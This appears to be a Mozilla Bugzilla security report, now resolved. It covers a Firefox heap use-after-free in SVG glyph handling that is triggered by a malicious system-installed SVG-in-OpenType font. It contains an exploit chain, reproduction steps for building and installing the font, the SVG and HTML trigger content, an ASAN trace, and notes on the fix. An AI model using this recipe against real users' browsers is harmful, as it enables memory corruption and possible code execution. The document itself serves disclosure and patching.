Closed Bug 2029446 Opened 5 months ago Closed 5 months ago

Heap use-after-free in [@ gfxSVGGlyphs::GetGlyphElement] via re-entrant mGlyphIdMap mutation during SVG glyph document layout

Categories

(Core :: Graphics: Text, defect)

defect

Tracking

()

RESOLVED FIXED
151 Branch
Tracking Status
firefox-esr115 --- wontfix
firefox-esr140 --- wontfix
firefox149 --- wontfix
firefox150 + fixed
firefox151 + fixed

People

(Reporter: bugmon, Assigned: jfkthame)

Details

(5 keywords, Whiteboard: [adv-main150-])

Attachments

(11 files)

gfxSVGGlyphs::GetGlyphElement() uses nsBaseHashtable::LookupOrInsertWith() on mGlyphIdMap. LookupOrInsertWith creates a PLDHashTable::EntryHandle that holds a raw Slot* into the table's heap-allocated entry store, then invokes the user lambda. That lambda calls FindOrCreateGlyphsDocument(), which on first use constructs a gfxSVGGlyphsDocument whose SetupPresentation() performs a synchronous FlushPendingNotifications(FlushType::Layout) on the freshly-parsed SVG glyph document.

If the SVG glyph document contains an SVG <text> element styled with the same font family — and that family resolves to the same platform gfxFontEntry (e.g. a system-installed font) — laying out the inner text re-enters gfxFontEntry::HasSVGGlyph → gfxSVGGlyphs::GetGlyphElement() on the same gfxSVGGlyphs object for each inner glyph. After enough nested inserts, PLDHashTable::ChangeTable() reallocates and frees the entry store. When control returns to the outer LookupOrInsertWith, EntryHandle::OrInsertWith() reads Slot::KeyHash() and then writes an Element* through the stale Slot*, yielding a heap use-after-free read followed by a UAF write into freed memory.

In release builds MOZ_HASH_TABLE_CHECKS_ENABLED is undefined, so there is no re-entrancy guard and the UAF write occurs silently. Triggering currently requires the malicious SVG-in-OpenType font to be installed as a system font so that the inner glyph document and the outer page share the same gfxFontEntry; @font-face web fonts get per-document user-font entries and the inner SVG-as-image document does not inherit the page's @font-face rules.

Build Info

Affected Code

File: gfx/thebes/gfxSVGGlyphs.cpp, line 225-233

Element* gfxSVGGlyphs::GetGlyphElement(uint32_t aGlyphId) {
  return mGlyphIdMap.LookupOrInsertWith(aGlyphId, [&] {
    Element* elem = nullptr;
    if (gfxSVGGlyphsDocument* set = FindOrCreateGlyphsDocument(aGlyphId)) {
      elem = set->GetGlyphElement(aGlyphId);
    }
    return elem;
  });
}

File: gfx/thebes/gfxSVGGlyphs.cpp, line 146-152

  RefPtr<PresShell> presShell = viewer->GetPresShell();
  if (!presShell->DidInitialize()) {
    rv = presShell->Initialize();
    NS_ENSURE_SUCCESS(rv, rv);
  }

  mDocument->FlushPendingNotifications(FlushType::Layout);

File: xpcom/ds/PLDHashTable.h, line 25-27

#if defined(DEBUG) || defined(FUZZING)
#  define MOZ_HASH_TABLE_CHECKS_ENABLED 1
#endif

LookupOrInsertWith holds a raw EntryHandle (Slot*) into mGlyphIdMap's entry store while the lambda runs. The lambda reaches gfxSVGGlyphsDocument::SetupPresentation() which synchronously flushes layout of the embedded SVG document. If that document renders text in the same font, layout re-enters GetGlyphElement on the same mGlyphIdMap, and PLDHashTable::ChangeTable frees the backing store out from under the outer EntryHandle. The Checker re-entrancy assertion that would catch this is compiled only in DEBUG/FUZZING builds, not release.

Exploit Chain

  1. Victim has a malicious SVG-in-OpenType font installed as a system font. Its SVG table for glyph 'A' contains <text font-family="<same family>">B…z</text>.
  2. A web page sets font-family to that family and renders 'A', forcing layout (e.g. offsetHeight).
  3. gfxFont::SetupGlyphExtents → gfxFontEntry::HasSVGGlyph → gfxSVGGlyphs::GetGlyphElement(1) calls mGlyphIdMap.LookupOrInsertWith, allocating the initial entry store and obtaining an EntryHandle pointing into it.
  4. Inside the lambda, FindOrCreateGlyphsDocument constructs the gfxSVGGlyphsDocument; SetupPresentation() initializes a PresShell and calls FlushPendingNotifications(Layout) on the inner SVG document.
  5. Reflow of the inner SVGTextFrame builds a text run in the same font; for each of the 57 inner glyphs, gfxFont::SetupGlyphExtents re-enters gfxSVGGlyphs::GetGlyphElement on the same mGlyphIdMap, inserting new entries.
  6. When the load factor exceeds 0.75, PLDHashTable::ChangeTable reallocates and free()s the original entry store that the outer EntryHandle still points to.
  7. Control returns to the outer OrInsertWith, which reads Slot::KeyHash() (UAF read) and then writes the key hash, glyph id, and Element* into the freed slot (UAF write of attacker-influenced pointer-sized data into a freed 160-byte heap region).

Steps to Reproduce

  1. Generate the malicious font: python3 make_evil_font.py evil.ttf (script uses fontTools to build a TTF named 'EvilSVGFont' with glyphs for 'A'..'z' and an SVG table whose glyph1 document is <svg xmlns="http://www.w3.org/2000/svg"><g id="glyph1"><text x="0" y="0" font-family="EvilSVGFont" font-size="100">BCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz</text></g></svg>). Or: base64 -d evil.ttf.b64 > evil.ttf
  2. Install it as a user/system font: mkdir -p ~/.local/share/fonts && cp evil.ttf ~/.local/share/fonts/ && fc-cache -f
  3. (For ASAN/fuzzing builds only, to bypass the diagnostic safe-crash and observe the underlying UAF) apply source_patch.diff: in xpcom/ds/PLDHashTable.h change #if defined(DEBUG) || defined(FUZZING) to #if defined(DEBUG) for MOZ_HASH_TABLE_CHECKS_ENABLED, and rebuild. Release builds need no patch.
  4. Load test_evil.html in Firefox: <!DOCTYPE html><style>.t{font-family:"EvilSVGFont";font-size:100px}</style><div class="t">A</div><script>document.body.offsetHeight;setTimeout(()=>window.close(),3000);</script>
  5. Observe AddressSanitizer heap-use-after-free in PLDHashTable::Slot::KeyHash via gfxSVGGlyphs::GetGlyphElement (gfxSVGGlyphs.cpp:226). Without the patch, fuzzing builds instead hit MOZ_RELEASE_ASSERT(IsIdle(oldState)) in Checker::StartWriteOp (PLDHashTable.h:141), which is the same re-entrancy condition caught by the diagnostic guard.

Security Impact

  • Severity: Moderate
  • Attacker capability: Use-after-free read and write of pointer-width data (key hash + uint32 key + Element*) into a freed 160-byte heap allocation in the content process. With heap grooming an attacker could overlap the freed entry store with another object and corrupt it, potentially leading to arbitrary code execution in the content process.
  • Preconditions: The victim must have a malicious SVG-in-OpenType font installed as a platform/system font (so the inner SVG glyph document and the page resolve the family name to the same shared gfxFontEntry). A pure web-font (@font-face) delivery does not satisfy this because the inner SVG-as-image glyph document does not see the page's @font-face rules and therefore resolves to a different font entry. After the font is installed, any web page that references the font family and forces layout triggers the bug with no further user interaction.

ASAN Report

==23024==ERROR: AddressSanitizer: heap-use-after-free on address 0x767468d796bc at pc 0x759440eadab1 bp 0x7ffc586c4390 sp 0x7ffc586c4388
READ of size 4 at 0x767468d796bc thread T0 (Isolated Web Co)
    #0 0x759440eadab0 in PLDHashTable::Slot::KeyHash() const /firefox/obj-firefox-asan/dist/include/PLDHashTable.h:228:44
    #1 0x759440eadab0 in PLDHashTable::Slot::IsLive() const /firefox/obj-firefox-asan/dist/include/PLDHashTable.h:235:45
    #2 0x759440eadab0 in PLDHashTable::EntryHandle::HasEntry() const /firefox/obj-firefox-asan/dist/include/PLDHashTable.h:557:42
    #6 0x759440eadab0 in nsBaseHashtable<...>::EntryHandle::OrInsertWith<gfxSVGGlyphs::GetGlyphElement(unsigned int)::$_0>(...) /firefox/obj-firefox-asan/dist/include/nsBaseHashtable.h:737:16
    #13 0x759440eadab0 in nsBaseHashtable<...>::LookupOrInsertWith<...>(unsigned int const&, ...) /firefox/obj-firefox-asan/dist/include/nsBaseHashtable.h:433:12
    #14 0x759440eadab0 in gfxSVGGlyphs::GetGlyphElement(unsigned int) /firefox/gfx/thebes/gfxSVGGlyphs.cpp:226:22
    #15 0x759440eadb3b in gfxSVGGlyphs::HasSVGGlyph(unsigned int) /firefox/gfx/thebes/gfxSVGGlyphs.cpp:236:12
    #16 0x759440daadaa in gfxFontEntry::HasSVGGlyph(unsigned int) /firefox/gfx/thebes/gfxFontEntry.cpp:287:26
    #17 0x759440daadaa in gfxFont::SetupGlyphExtents(...) /firefox/gfx/thebes/gfxFont.cpp:4114:54
    #18 0x759440ec3d91 in gfxTextRun::FetchGlyphExtents(...) /firefox/gfx/thebes/gfxTextRun.cpp:1653:19
    #24 0x75944abcb5f0 in nsTextFrame::ReflowText(...) /firefox/layout/generic/nsTextFrame.cpp:10860:7
    #53 0x75944a686f40 in mozilla::PresShell::DoReflow(...) /firefox/layout/base/PresShell.cpp:10551:11
    #58 0x75944215cce2 in mozilla::dom::Document::FlushPendingNotifications(mozilla::ChangesToFlush) /firefox/dom/base/Document.cpp:11634:16
    #61 0x759442210df4 in mozilla::dom::Element::GetOffsetRect(...) /firefox/dom/base/Element.cpp:6462:21
    #63 0x7594428c9649 in mozilla::dom::HTMLElement_Binding::get_offsetHeight(...) /firefox/obj-firefox-asan/dom/bindings/./HTMLElementBinding.cpp:2987:39

0x767468d796bc is located 28 bytes inside of 160-byte region [0x767468d796a0,0x767468d79740)
freed by thread T0 (Isolated Web Co) here:
    #0 0x5a171d457766 in __interceptor_free _asan_rtl_:3
    #1 0x75943d13ebe8 in PLDHashTable::ChangeTable(int) /firefox/xpcom/ds/PLDHashTable.cpp:400:3
    #2 0x75943d13f49e in PLDHashTable::MakeEntryHandle(void const*, std::nothrow_t const&) /firefox/xpcom/ds/PLDHashTable.cpp:578:10
    #8 0x759440ead7ab in gfxSVGGlyphs::GetGlyphElement(unsigned int) /firefox/gfx/thebes/gfxSVGGlyphs.cpp:226:22
    #9 0x759440eadb3b in gfxSVGGlyphs::HasSVGGlyph(unsigned int) /firefox/gfx/thebes/gfxSVGGlyphs.cpp:236:12
    #11 0x759440daadaa in gfxFont::SetupGlyphExtents(...) /firefox/gfx/thebes/gfxFont.cpp:4114:54
    #25 0x75944ad61350 in mozilla::SVGTextFrame::DoReflow() /firefox/layout/svg/SVGTextFrame.cpp:5220:29
    #27 0x75944ad23686 in mozilla::SVGTextFrame::ReflowSVG() /firefox/layout/svg/SVGTextFrame.cpp:3361:3
    #30 0x75944ad30fc9 in mozilla::SVGOuterSVGFrame::Reflow(...) /firefox/layout/svg/SVGOuterSVGFrame.cpp:427:14
    #39 0x75944a686f40 in mozilla::PresShell::DoReflow(...) /firefox/layout/base/PresShell.cpp:10551:11
    ... (under gfxSVGGlyphsDocument::SetupPresentation → FlushPendingNotifications, inside the outer LookupOrInsertWith lambda)

previously allocated by thread T0 (Isolated Web Co) here:
    #0 0x5a171d457b29 in ___interceptor_calloc _asan_rtl_:3
    #1 0x75943d13f72d in PLDHashTable::MakeEntryHandle(void const*, std::nothrow_t const&) /firefox/xpcom/ds/PLDHashTable.cpp:559:28
    #7 0x759440ead7ab in gfxSVGGlyphs::GetGlyphElement(unsigned int) /firefox/gfx/thebes/gfxSVGGlyphs.cpp:226:22
    #8 0x759440eadb3b in gfxSVGGlyphs::HasSVGGlyph(unsigned int) /firefox/gfx/thebes/gfxSVGGlyphs.cpp:236:12
    #10 0x759440daadaa in gfxFont::SetupGlyphExtents(...) /firefox/gfx/thebes/gfxFont.cpp:4114:54
    #17 0x75944abcb5f0 in nsTextFrame::ReflowText(...) /firefox/layout/generic/nsTextFrame.cpp:10860:7
    ... (outer page reflow of <div class="t">A</div>)

SUMMARY: AddressSanitizer: heap-use-after-free (/firefox/obj-firefox-asan/dist/bin/libxul.so+0x16abdab0)
Shadow bytes around the buggy address:
=>0x767468d79680: fa fa fa fa fd fd fd[fd]fd fd fd fd fd fd fd fd
==23024==ABORTING
Group: core-security → gfx-core-security

I have a feeling this belongs in layout: text but I'll try graphics: text first.

Component: Graphics → Graphics: Text
Attached file test_evil.html
Attached file make_evil_font.py
Attached patch fix.patchSplinter Review
Attached file evil.ttf.b64
Attached file crash_stack.txt
Attached file SETUP.md

(In reply to Bugmon [:jkratzer for issues] from comment #0)

  1. Generate the malicious font: python3 make_evil_font.py evil.ttf (script uses fontTools to build a TTF named 'EvilSVGFont' with glyphs for 'A'..'z' and an SVG table whose glyph1 document is <svg xmlns="http://www.w3.org/2000/svg"><g id="glyph1"><text x="0" y="0" font-family="EvilSVGFont" font-size="100">BCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz</text></g></svg>). Or: base64 -d evil.ttf.b64 > evil.ttf
  2. Install it as a user/system font: mkdir -p ~/.local/share/fonts && cp evil.ttf ~/.local/share/fonts/ && fc-cache -f

I asked claude if this exploit would work with a font that the attacker delivers via the web page and it said no, it had to be an installed system font. So sec moderate seems high for that.

Severity: -- → S3
Keywords: sec-moderate
Keywords: sec-other

Hmm, this is interesting -- according to the spec, <text> elements are supposed to be ignored within SVG-glyph documents. But I guess we're not enforcing that properly.

The suggested fix here in gfxSVGGlyphs looks OK. The other thing I think we should also do is make SVGTextFrame methods bail out if the frame belongs to an svg-glyphs document, because (per spec) text elements aren't supported there so we shouldn't even be attempting to reflow or paint them.

Attached file (secure)
Assignee: nobody → jfkthame
Status: UNCONFIRMED → ASSIGNED
Ever confirmed: true
Attached file (secure)

(clauditor-suggested fix)

Pushed by jkew@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/a35c53c2b35f https://hg.mozilla.org/integration/autoland/rev/09e01a4c0787 Don't create frames for elements that are not allowed in an svg-glyphs document. r=firefox-svg-reviewers,layout-reviewers,longsonr,emilio https://github.com/mozilla-firefox/firefox/commit/0a507e91fb2e https://hg.mozilla.org/integration/autoland/rev/fac2a2af3b43 Don't hold on to EntryHandles while creating an svg-glyphs document. r=gfx-reviewers,longsonr,bradwerth https://github.com/mozilla-firefox/firefox/commit/3c75104b6d25 https://hg.mozilla.org/integration/autoland/rev/8e9225ddb55e apply code formatting via Lando
Attached file (secure)
Attachment #9568770 - Flags: approval-mozilla-beta?

firefox-beta Uplift Approval Request

  • User impact if declined/Reason for urgency: sec bug (UAF, potential path to RCE), but not sec-high due to requiring a malicious font to be locally installed; not reachable via webfont alone
  • Code covered by automated testing?: no
  • Fix verified in Nightly?: no
  • Needs manual QE testing?: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: Straightforward patches to avoid holding a hashtable reference across potential mutations, and to avoid creating frames for unsupported elements in svg glyphs
  • String changes made/needed?: none
  • Is Android affected?: yes
Attachment #9568771 - Flags: approval-mozilla-beta?
Attached file (secure)

(clauditor-suggested fix)

Original Revision: https://phabricator.services.mozilla.com/D293134

Group: gfx-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 5 months ago
Resolution: --- → FIXED
Target Milestone: --- → 151 Branch
Attachment #9568770 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
Attachment #9568771 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
QA Whiteboard: [sec] [uplift] [qa-triage-done-c151/b150]
Whiteboard: [adv-main150-]
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: